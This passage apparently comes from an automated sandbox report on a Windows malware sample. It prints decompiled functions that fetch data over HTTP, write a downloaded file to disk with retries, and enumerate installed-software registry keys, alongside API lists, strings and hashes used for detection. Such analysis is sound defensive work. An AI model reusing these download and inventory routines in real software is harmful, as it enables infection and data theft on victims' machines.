				E0040A3F0(_t261, _t407, _t327, _t261, _a4, _a8, _a12, _a16); // executed
				_t263 =  *0x41a614; // 0x7c8928
				_t329 =  *0x41a738; // 0x7c67c8
				E0040A3F0(_t263, _t407, _t329, _t263, _a4, _a8, _a12, _a16); // executed
				_t265 =  *0x41a444; // 0x7c8978
				_t331 =  *0x41a338; // 0x7c8350
				E0040A3F0(_t265, _t407, _t331, _t265, _a4, _a8, _a12, _a16); // executed
				_t267 =  *0x41a094; // 0x7c8858
				_t333 =  *0x41a304; // 0x7c64a8
				E0040A3F0(_t267, _t407, _t333, _t267, _a4, _a8, _a12, _a16); // executed
				_t269 =  *0x41a440; // 0x7c8948
				_t335 =  *0x41a588; // 0x7c6868
				E0040A3F0(_t269, _t407, _t335, _t269, _a4, _a8, _a12, _a16); // executed
				_t271 =  *0x41a54c; // 0x7c87b8
				_t337 =  *0x41a764; // 0x7c7ff0
				E0040A3F0(_t271, _t407, _t337, _t271, _a4, _a8, _a12, _a16); // executed
				_t273 =  *0x41a6e0; // 0x7c87f8
				_t339 =  *0x41a6b4; // 0x7c84f0
				E0040A3F0(_t273, _t407, _t339, _t273, _a4, _a8, _a12, _a16); // executed
				_t275 =  *0x41a100; // 0x7c7788
				_t341 =  *0x41a078; // 0x7c6930
				E0040A3F0(_t275, _t407, _t341, _t275, _a4, _a8, _a12, _a16); // executed
				_t277 =  *0x41a708; // 0x7c87a8
				_t343 =  *0x41a5c4; // 0x7c7980
				E0040A3F0(_t277, _t407, _t343, _t277, _a4, _a8, _a12, _a16); // executed
				_t279 =  *0x41a114; // 0x7c7998
				_t345 =  *0x41a634; // 0x7c64f8
				E0040A3F0(_t279, _t407, _t345, _t279, _a4, _a8, _a12, _a16); // executed
				_t281 =  *0x41a3e8; // 0x7c8868
				_t347 =  *0x41a414; // 0x7c5fc0
				E0040A3F0(_t281, _t407, _t347, _t281, _a4, _a8, _a12, _a16); // executed
				_t283 =  *0x41a398; // 0x7c88b8
				_t349 =  *0x41a024; // 0x7c6598
				E0040A510(_t283, _t407, _t349, _t283, _a4, _a8, _a12, _a16); // executed
				_t285 =  *0x41a3bc; // 0x7c8968
				_t351 =  *0x41a2c8; // 0x7c6350
				E0040A510(_t285, _t407, _t351, _t285, _a4, _a8, _a12, _a16); // executed
				_t287 =  *0x41a5c0; // 0x7c7848
				_t353 =  *0x41a320; // 0x7c60e0
				E0040A3F0(_t287, _t407, _t353, _t287, _a4, _a8, _a12, _a16); // executed
				_t289 =  *0x41a350; // 0x7c8808
				_t355 =  *0x41a0c4; // 0x7c6520
				E0040A620(_t289, _t407, _t355, _t289, _a4, _a8, _a12, _a16); // executed
				_t291 =  *0x41a2ec; // 0x7c77b8
				_t357 =  *0x41a620; // 0x7c6080
				E0040A620(_t291, _t407, _t357, _t291, _a4, _a8, _a12, _a16); // executed
				_t293 =  *0x41a020; // 0x7c7860
				_t359 =  *0x41a704; // 0x7c2670
				E0040A620(_t293, _t407, _t359, _t293, _a4, _a8, _a12, _a16); // executed
				_t295 =  *0x41a3d0; // 0x7c79c8
				_t361 =  *0x41a224; // 0x7c8450
				E0040A620(_t295, _t407, _t361, _t295, _a4, _a8, _a12, _a16); // executed
				_t297 =  *0x41a29c; // 0x7c77d0
				_t363 =  *0x41a7e0; // 0x7c6200
				E0040A620(_t297, _t407, _t363, _t297, _a4, _a8, _a12, _a16); // executed
				_t299 =  *0x41a57c; // 0x7c77e8
				_t365 =  *0x41a34c; // 0x7c26e0
				E0040A620(_t299, _t407, _t365, _t299, _a4, _a8, _a12, _a16); // executed
				_t301 =  *0x41a060; // 0x7c87d8
				_t367 =  *0x41a0d0; // 0x7c66b0
				E0040A620(_t301, _t407, _t367, _t301, _a4, _a8, _a12, _a16); // executed
				_t303 =  *0x41a1ec; // 0x7c88d8
				_t369 =  *0x41a6dc; // 0x7c79f8
				E0040A620(_t303, _t407, _t369, _t303, _a4, _a8, _a12, _a16); // executed
				_t304 =  *0x41a21c; // 0x7c79e0
				_t370 =  *0x41a484; // 0x7c8710
				E0040A620(_t304, _t407, _t370, _t304, _a4, 0, 0, 0); // executed
				E00406C10(_t304, _t407);
				_t233 =  *0x41a838; // 0x0
				_t234 =  *0x41a908(_t233);
				_t305 =  *0x41a838; // 0x0
				_t371 =  *0x41a660; // 0x7c7a28
				E004137E0(_a4, _t371, _t305, _t234);
				E0040B720(0x41a838, 4); // executed
				E00407150(); // executed
				return E00407170();
			}

0x0040a700
0x0040a711
0x0040a717
0x0040a71c
0x0040a721
0x0040a73b
0x0040a742
0x0040a749
0x0040a761
0x0040a768
0x0040a76f
0x0040a787
0x0040a78e
0x0040a795
0x0040a7ad
0x0040a7b4
0x0040a7bb
0x0040a7d3
0x0040a7da
0x0040a7e1
0x0040a7f9
0x0040a800
0x0040a807
0x0040a81f
0x0040a826
0x0040a82d
0x0040a845
0x0040a84c
0x0040a853
0x0040a86b
0x0040a872
0x0040a879
0x0040a891
0x0040a898
0x0040a89f
0x0040a8b7
0x0040a8be
0x0040a8c5
0x0040a8dd
0x0040a8e4
0x0040a8eb
0x0040a903
0x0040a90a
0x0040a911
0x0040a929
0x0040a930
0x0040a937
0x0040a94f
0x0040a956
0x0040a95d
0x0040a975
0x0040a97c
0x0040a983
0x0040a99b
0x0040a9a2
0x0040a9a9
0x0040a9c1
0x0040a9c8
0x0040a9cf
0x0040a9e7
0x0040a9ee
0x0040a9f5
0x0040aa0d
0x0040aa14
0x0040aa1b
0x0040aa33
0x0040aa3a
0x0040aa41
0x0040aa59
0x0040aa60
0x0040aa67
0x0040aa7f
0x0040aa86
0x0040aa8d
0x0040aaa5
0x0040aaac
0x0040aab3
0x0040aacb
0x0040aad2
0x0040aad9
0x0040aaf1
0x0040aaf8
0x0040aaff
0x0040ab17
0x0040ab1e
0x0040ab25
0x0040ab3d
0x0040ab44
0x0040ab4b
0x0040ab63
0x0040ab6a
0x0040ab71
0x0040ab89
0x0040ab90
0x0040ab97
0x0040abaf
0x0040abb6
0x0040abbd
0x0040abd5
0x0040abdc
0x0040abe3
0x0040abf5
0x0040abfc
0x0040ac03
0x0040ac0b
0x0040ac10
0x0040ac16
0x0040ac1d
0x0040ac24
0x0040ac2f
0x0040ac3e
0x0040ac43
0x0040ac4e

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,004067AC,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 0040A70A
RtlAllocateHeap.NTDLL(00000000,?,004067AC), ref: 0040A711

Part of subcall function 00407060: LoadLibraryA.KERNEL32(007C6458,?,0040A721,?,004067AC,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 00407069
Part of subcall function 00407060: GetProcAddress.KERNEL32(60900000,007C7DB8), ref: 0040708F
Part of subcall function 00407060: GetProcAddress.KERNEL32(60900000,007C8090), ref: 004070A7
Part of subcall function 00407060: GetProcAddress.KERNEL32(60900000,007C7E48), ref: 004070BF
Part of subcall function 00407060: GetProcAddress.KERNEL32(60900000,007C8010), ref: 004070D8
Part of subcall function 00407060: GetProcAddress.KERNEL32(60900000,007C8210), ref: 004070F0
Part of subcall function 00407060: GetProcAddress.KERNEL32(60900000,007C7DA0), ref: 00407108
Part of subcall function 00407060: GetProcAddress.KERNEL32(60900000,007C8290), ref: 00407121
Part of subcall function 00407060: GetProcAddress.KERNEL32(60900000,007C8030), ref: 00407139

Part of subcall function 0040A3F0: lstrcat.KERNEL32(?,00000000), ref: 0040A434
Part of subcall function 0040A3F0: lstrcat.KERNEL32(?,?), ref: 0040A459
Part of subcall function 0040A3F0: lstrcat.KERNEL32(?,007C7950), ref: 0040A46D

Part of subcall function 0040A510: lstrcat.KERNEL32(?,00000000), ref: 0040A554
Part of subcall function 0040A510: lstrcat.KERNEL32(?,?), ref: 0040A579
Part of subcall function 0040A510: lstrcat.KERNEL32(?,007C7950), ref: 0040A58D

Part of subcall function 0040A620: lstrcat.KERNEL32(?,00000001), ref: 0040A667
Part of subcall function 0040A620: lstrcat.KERNEL32(?,?), ref: 0040A67B
Part of subcall function 0040A620: lstrcat.KERNEL32(?,007C7A10), ref: 0040A68F

Part of subcall function 00406C10: GetVersionExA.KERNEL32(00000094,?,00000094), ref: 00406C3D
Part of subcall function 00406C10: LoadLibraryA.KERNEL32(007C75A8), ref: 00406CAA

lstrlen.KERNEL32(00000000), ref: 0040AC16

Part of subcall function 00407150: FreeLibrary.KERNEL32(60900000,?,0040AC48,0041A838,00000004), ref: 00407159

Part of subcall function 00407170: FreeLibrary.KERNEL32(00000000,?,0040AC4D,0041A838,00000004), ref: 00407179

Strings

&|, xrefs: 0040AB90
p&|, xrefs: 0040AB1E
@z|, xrefs: 0040A86B
Hx|, xrefs: 0040AAA5
`|, xrefs: 0040AAAC
`x|, xrefs: 0040AB17
e|, xrefs: 0040AAD2
0i|, xrefs: 0040A9C8
y|, xrefs: 0040ABF5
y|, xrefs: 0040A761
Pg|, xrefs: 0040A78E
hy|, xrefs: 0040A898
(z|, xrefs: 0040AC24
hh|, xrefs: 0040A956
8y|, xrefs: 0040A891
w|, xrefs: 0040AB89
Pc|, xrefs: 0040AA86

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$AddressProc$Library$FreeHeapLoad$AllocateProcessVersionlstrlen
String ID: e|$ y|$(z|$0i|$8y|$@z|$Hx|$Pc|$Pg|$`x|$hh|$hy|$p&|$&|$`|$w|$y|
API String ID: 3801270024-3659335607
Opcode ID: 8e0b4b05eec78f656de81a074dbe81db14e72ba656cc588d5b8b3cbb724aaba6
Instruction ID: a00dee89baef35c05d8f135df5621735fc6a2a2bdba59be032469b4e13cc99cb
Opcode Fuzzy Hash: 8e0b4b05eec78f656de81a074dbe81db14e72ba656cc588d5b8b3cbb724aaba6
Instruction Fuzzy Hash: 830297B6615104BBCB04DF9DEC81DAB33BDAB8C704B04C51CBA1CD7255D634E961CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 004051A0, Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 172
networksleepfileCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E004051A0(void* __ecx, void* __eflags, intOrPtr _a4, char _a8, char _a12, char* _a16) {
				void* _v8;
				DWORD* _v12;
				char _v2012;
				void* _v2016;
				void* _v2020;
				long _v2024;
				void _v2284;
				void _v2288;
				DWORD* _v2292;
				DWORD* _v2296;
				void _v4300;
				int _v4304;
				long _v4308;
				void* _t60;
				void* _t67;
				void* _t71;
				int _t74;
				DWORD* _t104;
				void* _t107;

				_t85 = __ecx;
				E004139B0(0x10d0, __ecx);
				E0040B6E0(_t85,  &_v2012, 0, 0x7d0);
				_t60 = InternetOpenA(0x41401a, 0, 0, 0, 0); // executed
				_v2020 = _t60;
				_v2024 = 0x100;
				_v12 = 0;
				_push("https://");
				_push(_a4);
				if( *0x41aa4c() == 0) {
					_v12 = 1;
				}
				if(_v2020 != 0) {
					_v2288 = 0x927c0;
					InternetSetOptionA(_v2020, 6,  &_v2288, 4);
					if(_v12 == 0) {
						_t15 =  &_a8; // 0x7c2160
						_t67 = InternetConnectA(_v2020,  *_t15, 0x50, 0, 0, 3, 0, 0); // executed
						_v2016 = _t67;
					} else {
						_t12 =  &_a8; // 0x7c2160
						_v2016 = InternetConnectA(_v2020,  *_t12, 0x1bb, 0, 0, 3, 0, 0);
					}
					if(_v2016 != 0) {
						if(_v12 == 0) {
							_t24 =  &_a12; // 0x40672d
							_t71 = HttpOpenRequestA(_v2016, _a16,  *_t24, 0, 0, 0, 0x400100, 0); // executed
							_v8 = _t71;
						} else {
							_t20 =  &_a12; // 0x40672d
							_v8 = HttpOpenRequestA(_v2016, _a16,  *_t20, 0, 0, 0, 0xc00100, 0);
						}
						if(_v8 != 0) {
							_v2292 = 0;
							_v2296 = 0;
							while(_v2296 < 6) {
								HttpSendRequestA(_v8, 0, 0, 0, 0); // executed
								if(HttpQueryInfoA(_v8, 0x13,  &_v2284,  &_v2024, 0) == 0) {
									L17:
									Sleep(0x7530);
									_t104 =  &(_v2296[0]);
									__eflags = _t104;
									_v2296 = _t104;
									continue;
								} else {
									_push("200");
									_push( &_v2284);
									if( *0x41aa4c() != 0) {
										goto L17;
									} else {
										_v2292 = 1;
									}
								}
								break;
							}
							if(_v2292 != 0) {
								while(1) {
									_t74 = InternetReadFile(_v8,  &_v4300, 0x7cf,  &_v4308); // executed
									_v4304 = _t74;
									if(_v4304 == 0) {
										break;
									}
									_t122 = _v4308;
									if(_v4308 != 0) {
										 *((char*)(_t107 + _v4308 - 0x10c8)) = 0;
										 *0x41aa24( &_v2012,  &_v4300);
										continue;
									}
									break;
								}
							}
						}
						InternetCloseHandle(_v8);
					}
					InternetCloseHandle(_v2016);
				}
				InternetCloseHandle(_v2020);
				return E00404830(_v2020, _t122,  &_v2012);
			}

0x004051a0
0x004051a8
0x004051bb
0x004051cd
0x004051d3
0x004051d9
0x004051e3
0x004051ea
0x004051f2
0x004051fb
0x004051fd
0x004051fd
0x0040520b
0x00405211
0x0040522d
0x00405237
0x0040526d
0x00405278
0x0040527e
0x00405239
0x00405248
0x00405259
0x00405259
0x0040528b
0x00405295
0x004052cb
0x004052da
0x004052e0
0x00405297
0x004052a4
0x004052b9
0x004052b9
0x004052e7
0x004052ed
0x004052f7
0x00405312
0x00405327
0x0040534b
0x0040536f
0x00405374
0x00405309
0x00405309
0x0040530c
0x00000000
0x0040534d
0x0040534d
0x00405358
0x00405361
0x00000000
0x00405363
0x00405363
0x00405363
0x00405361
0x00000000
0x0040534b
0x00405383
0x00405385
0x0040539c
0x004053a2
0x004053af
0x00000000
0x00000000
0x004053b1
0x004053b8
0x004053c2
0x004053d8
0x00000000
0x004053d8
0x00000000
0x004053b8
0x004053ba
0x00405383
0x004053e4
0x004053e4
0x004053f1
0x004053f1
0x004053fe
0x00405416

APIs

InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004051CD
StrCmpCA.SHLWAPI(00000000,https://), ref: 004051F3
InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040522D
InternetConnectA.WININET(00000000,`!|,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405253
InternetConnectA.WININET(00000000,`!|,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00405278
HttpOpenRequestA.WININET(00000000,?,-g@`!|,00000000,00000000,00000000,00C00100,00000000), ref: 004052B3
HttpOpenRequestA.WININET(00000000,?,-g@`!|,00000000,00000000,00000000,00400100,00000000), ref: 004052DA
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405327
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405343
StrCmpCA.SHLWAPI(?,200), ref: 00405359
Sleep.KERNEL32(00007530), ref: 00405374
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040539C
lstrcat.KERNEL32(?,00000000), ref: 004053D8
InternetCloseHandle.WININET(00000000), ref: 004053E4
InternetCloseHandle.WININET(00000000), ref: 004053F1
InternetCloseHandle.WININET(00000000), ref: 004053FE

Part of subcall function 00404830: memset.MSVCRT ref: 00404852
Part of subcall function 00404830: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,007C2160), ref: 0040487E
Part of subcall function 00404830: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00000000,00000000), ref: 004048A6

Strings

200, xrefs: 0040534D
`!|, xrefs: 0040526D, 00405248, 0040524B, 00405270
https://, xrefs: 004051EA
-g@`!|, xrefs: 004052CB, 004052A4, 004052A7, 004052CE

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Internet$Http$CloseHandleOpenRequest$BinaryConnectCryptString$FileInfoOptionQueryReadSendSleeplstrcatmemset
String ID: -g@`!|$200$`!|$https://
API String ID: 3903783505-3417815072
Opcode ID: ed28bf1071449e7ad06a5ff83b2de2c6207da898ebd1a13e635f1ef9f3c0d26e
Instruction ID: 3a11fd38065f95ba9f916252f7cceca424cf4b116932673e0c024cd65fd50a4c
Opcode Fuzzy Hash: ed28bf1071449e7ad06a5ff83b2de2c6207da898ebd1a13e635f1ef9f3c0d26e
Instruction Fuzzy Hash: F3612B71A45359ABEB24DB60CC49FDA77B4EB08740F1085AAB6097A1C0C7B86A84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B330, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 129
registryCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E0040B330(intOrPtr _a4) {
				int _v8;
				char _v1036;
				char _v2060;
				void* _v2064;
				void* _v2068;
				int* _v2072;
				int _v2076;
				char _v3100;
				int _v3104;
				long _t44;
				long _t48;
				long _t51;
				long _t54;
				long _t60;
				char* _t69;
				char* _t77;
				char* _t84;
				char* _t87;
				void* _t92;

				_v2068 = 0;
				_v2064 = 0;
				_v2072 = 0;
				_v8 = 0xf003f;
				_v2076 = 0;
				_t69 =  *0x41a230; // 0x7c22c0
				_t44 = RegOpenKeyExA(0x80000002, _t69, 0, 0x20019,  &_v2068); // executed
				if(_t44 == 0) {
					_v3104 = 0;
					while(_v2072 == 0) {
						_v2076 = 0x400;
						_t48 = RegEnumKeyExA(_v2068, _v3104,  &_v1036,  &_v2076, 0, 0, 0, 0); // executed
						_v2072 = _t48;
						if(_v2072 != 0) {
							L14:
							_v3104 = _v3104 + 1;
							continue;
						}
						_push( &_v1036);
						_t84 =  *0x41a230; // 0x7c22c0
						_push(_t84);
						wsprintfA( &_v2060, "%s\%s");
						_t92 = _t92 + 0x10;
						_t51 = RegOpenKeyExA(0x80000002,  &_v2060, 0, 0x20019,  &_v2064); // executed
						if(_t51 == 0) {
							_v2076 = 0x400;
							_t87 =  *0x41a71c; // 0x7c8ff0
							_t54 = RegQueryValueExA(_v2064, _t87, 0,  &_v8,  &_v3100,  &_v2076); // executed
							if(_t54 == 0) {
								_push( &_v3100);
								if( *0x41a908() > 1) {
									 *0x41aa24(_a4,  &_v3100);
									_v2076 = 0x400;
									_t77 =  *0x41a450; // 0x7c8fc0
									_t60 = RegQueryValueExA(_v2064, _t77, 0,  &_v8,  &_v3100,  &_v2076); // executed
									if(_t60 == 0) {
										 *0x41aa24(_a4, " ");
										 *0x41aa24(_a4,  &_v3100);
									}
									 *0x41aa24(_a4, "\n");
								}
							}
							RegCloseKey(_v2064);
							goto L14;
						}
						RegCloseKey(_v2064);
						return RegCloseKey(_v2068);
					}
					return RegCloseKey(_v2068);
				}
				return _t44;
			}

0x0040b339
0x0040b343
0x0040b34d
0x0040b357
0x0040b35e
0x0040b376
0x0040b382
0x0040b38a
0x0040b391
0x0040b3ac
0x0040b3b9
0x0040b3e7
0x0040b3ed
0x0040b3fa
0x0040b535
0x0040b3a6
0x00000000
0x0040b3a6
0x0040b406
0x0040b407
0x0040b40d
0x0040b41a
0x0040b420
0x0040b43d
0x0040b445
0x0040b466
0x0040b484
0x0040b492
0x0040b49a
0x0040b4a6
0x0040b4b0
0x0040b4bd
0x0040b4c3
0x0040b4e1
0x0040b4ef
0x0040b4f7
0x0040b502
0x0040b513
0x0040b513
0x0040b522
0x0040b522
0x0040b4b0
0x0040b52f
0x00000000
0x0040b52f
0x0040b44e
0x00000000
0x0040b45b
0x00000000
0x0040b541
0x00000000

APIs

RegOpenKeyExA.KERNEL32(80000002,007C22C0,00000000,00020019,00000000), ref: 0040B382
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B3E7
wsprintfA.USER32 ref: 0040B41A
RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,00000000), ref: 0040B43D
RegCloseKey.ADVAPI32(00000000), ref: 0040B44E
RegCloseKey.ADVAPI32(00000000), ref: 0040B45B

Strings

%s\%s, xrefs: 0040B40E
?, xrefs: 0040B357

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: CloseOpen$Enumwsprintf
String ID: %s\%s$?
API String ID: 2323328657-4134130046
Opcode ID: 633d1f22a7f17ada43fb024a05cd16ca398fc31fbc6fe5000daf135038cd0860
Instruction ID: e40631872db9b85caa783e97e8400b31f68121603665a09a8b222e6f0c3b8f21
Opcode Fuzzy Hash: 633d1f22a7f17ada43fb024a05cd16ca398fc31fbc6fe5000daf135038cd0860
Instruction Fuzzy Hash: A2513CB1911218ABDB10CB50CD48FEA77B8FF48304F00C5A9A249A6180DB789AC5CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 004049E0, Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 141
networkfileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E004049E0(void* __ecx, char* _a4, CHAR* _a8) {
				intOrPtr _v8;
				void* _v12;
				long _v16;
				void* _v20;
				struct _OVERLAPPED* _v24;
				void _v1052;
				long _v1060;
				void* _v1064;
				long _v1068;
				void _v1324;
				long _v1328;
				struct _OVERLAPPED* _v1332;
				void* _t43;
				long _t46;
				void* _t47;
				int _t55;
				int _t58;
				long _t61;
				long _t65;
				long _t75;

				_v24 = 0;
				_v16 = 0;
				_v1068 = 0x100;
				_t43 = InternetOpenA(0x41401a, 1, 0, 0, 0);
				_v1064 = _t43;
				if(_v1064 != 0) {
					_t46 =  *0x41aa4c(E00404970(__ecx, __eflags, _a4), "https");
					__eflags = _t46;
					if(_t46 == 0) {
						_v16 = 1;
					}
					_v1332 = 0;
					while(1) {
						__eflags = _v1332 - 6;
						if(_v1332 >= 6) {
							break;
						}
						__eflags = _v16;
						if(_v16 == 0) {
							_v12 = InternetOpenUrlA(_v1064, _a4, 0, 0, 0x100, 0);
						} else {
							_v12 = InternetOpenUrlA(_v1064, _a4, 0, 0, 0x800100, 0);
						}
						_t61 = HttpQueryInfoA(_v12, 0x13,  &_v1324,  &_v1068, 0);
						__eflags = _t61;
						if(_t61 == 0) {
							L14:
							_t75 =  &(_v1332->Internal);
							__eflags = _t75;
							_v1332 = _t75;
							continue;
						} else {
							_t65 =  *0x41aa4c( &_v1324, "200");
							__eflags = _t65;
							if(_t65 != 0) {
								Sleep(0x7530);
								goto L14;
							}
							break;
						}
					}
					_t47 = CreateFileA(_a8, 0x40000000, 3, 0, 2, 0x80, 0); // executed
					_v20 = _t47;
					while(1) {
						__eflags = 1;
						if(1 == 0) {
							break;
						}
						_t55 = InternetReadFile(_v12,  &_v1052, 0x400,  &_v1060); // executed
						__eflags = _t55;
						if(_t55 == 0) {
							L21:
							break;
						}
						__eflags = _v1060;
						if(_v1060 <= 0) {
							L22:
							_v8 = _v8 + _v1060;
							__eflags = _v1060 - 0x400;
							if(_v1060 >= 0x400) {
								continue;
							}
							break;
						}
						_t58 = WriteFile(_v20,  &_v1052, _v1060,  &_v1328, 0); // executed
						__eflags = _t58;
						if(_t58 == 0) {
							goto L21;
						}
						__eflags = _v1060 - _v1328;
						if(_v1060 == _v1328) {
							goto L22;
						}
						goto L21;
					}
					E0040B720( &_v1052, 0x400);
					FindCloseChangeNotification(_v20); // executed
					InternetCloseHandle(_v12); // executed
					return InternetCloseHandle(_v1064);
				}
				return _t43;
			}

0x004049e9
0x004049f0
0x004049f7
0x00404a0e
0x00404a14
0x00404a21
0x00404a3a
0x00404a40
0x00404a42
0x00404a44
0x00404a44
0x00404a4b
0x00404a66
0x00404a66
0x00404a6d
0x00000000
0x00000000
0x00404a73
0x00404a77
0x00404ab6
0x00404a79
0x00404a95
0x00404a95
0x00404acf
0x00404ad5
0x00404ad7
0x00404afc
0x00404a5d
0x00404a5d
0x00404a60
0x00000000
0x00404ad9
0x00404ae5
0x00404aeb
0x00404aed
0x00404af6
0x00000000
0x00404af6
0x00000000
0x00404aef
0x00404ad7
0x00404b17
0x00404b1d
0x00404b20
0x00404b25
0x00404b27
0x00000000
0x00000000
0x00404b40
0x00404b46
0x00404b48
0x00404b86
0x00000000
0x00404b86
0x00404b4a
0x00404b51
0x00404b88
0x00404b91
0x00404b94
0x00404b9e
0x00000000
0x00404ba2
0x00000000
0x00404ba0
0x00404b6e
0x00404b74
0x00404b76
0x00000000
0x00000000
0x00404b7e
0x00404b84
0x00000000
0x00000000
0x00000000
0x00404b84
0x00404bb3
0x00404bbc
0x00404bc6
0x00000000
0x00404bd3
0x00000000

APIs

InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E
StrCmpCA.SHLWAPI(00000000,https), ref: 00404A3A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00404A8F
HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00404ACF
StrCmpCA.SHLWAPI(?,200), ref: 00404AE5
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404B17
InternetReadFile.WININET(?,?,00000400,?), ref: 00404B40
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404B6E
FindCloseChangeNotification.KERNEL32(?,?,00000400), ref: 00404BBC
InternetCloseHandle.WININET(?), ref: 00404BC6
InternetCloseHandle.WININET(00000000), ref: 00404BD3

Strings

https, xrefs: 00404A28
200, xrefs: 00404AD9

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Internet$CloseFile$HandleOpen$ChangeCreateFindHttpInfoNotificationQueryReadWrite
String ID: 200$https
API String ID: 2996992542-2945048398
Opcode ID: c31e8308ac884f8f2725585f2c0d583281fa0a271bead2ab3ea92c6ff43d03ad
Instruction ID: fb624ede4d81cfb8019f53897a3e05eb4db491724901a2fa6b1ef0cdd0b3c389
Opcode Fuzzy Hash: c31e8308ac884f8f2725585f2c0d583281fa0a271bead2ab3ea92c6ff43d03ad
Instruction Fuzzy Hash: 8F5141F1A40208ABDB10DB90DC45FEA77B8BB88715F1080A9F705B62C0D778AA80CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 004082E0, Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 155stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040830F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040835F
RtlAllocateHeap.NTDLL(00000000), ref: 00408366
lstrcat.KERNEL32(?,007C78A8), ref: 004083E1

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00000000), ref: 00408425
lstrcat.KERNEL32(?,007C7878), ref: 00408438
lstrcat.KERNEL32(?,?), ref: 0040844C
lstrcat.KERNEL32(?,007C82F0), ref: 00408460
lstrcat.KERNEL32(?,?), ref: 00408474
lstrcat.KERNEL32(?,004191F0), ref: 00408486
lstrcat.KERNEL32(?,?), ref: 0040849A
lstrcat.KERNEL32(?,00418BC0), ref: 004084AC
lstrlen.KERNEL32(?), ref: 004084BE

Strings

xx|, xrefs: 0040842B

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$Heap$AllocAllocateLocalProcesslstrlenmemsetwsprintf
String ID: xx|
API String ID: 2806430148-469118483
Opcode ID: 08dc09e1d71bc56364079f1e4773d345dfaabcd681f6d71a866a9efc0159ba04
Instruction ID: 59f89f9cc7d9a5e3f1725e4a0dc26015c1addf92b97e6f17d5df6be883cb31b8
Opcode Fuzzy Hash: 08dc09e1d71bc56364079f1e4773d345dfaabcd681f6d71a866a9efc0159ba04
Instruction Fuzzy Hash: 885168B1A00108ABCB14DFA4DD4AEDA77B8AF4C705F0085A4F709D3251DA35DEA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00406650, Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 176
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00406650(void* __ecx, void* __eflags) {
				char _v5004;
				char _v5268;
				char _v10268;
				char _v10272;
				char _v10276;
				char _v10540;
				char _v10544;
				char _t37;
				intOrPtr _t46;
				intOrPtr _t51;
				intOrPtr _t52;
				void* _t53;
				intOrPtr _t61;
				intOrPtr _t71;
				void* _t72;
				void* _t76;
				intOrPtr _t90;
				intOrPtr _t92;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr _t101;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				intOrPtr _t112;
				intOrPtr _t116;
				CHAR* _t117;
				void* _t121;
				void* _t129;
				void* _t133;

				_t133 = __eflags;
				E004139B0(0x292c, __ecx);
				_t37 = E00413730(0, 0x6400000, 0); // executed
				_v10544 = _t37;
				E0040B720( &_v5268, 0x104);
				E0040B720( &_v10268, 0x1388);
				E0040B720( &_v10540, 0x104);
				 *0x41aa24( &_v5268, E0040B8B0( &_v10268, _t133, 0x10));
				_t90 =  *0x41a260; // 0x7ae508
				 *0x41aa24( &_v5268, _t90);
				_t46 =  *0x41a368; // 0x7c2160
				 *0x41aa24( &_v10540, _t46);
				_t107 =  *0x41a7c4; // 0x7c5130
				 *0x41aa24( &_v10540, _t107);
				_t92 =  *0x41a76c; // 0x7c7070
				 *0x41aa24( &_v10540, _t92);
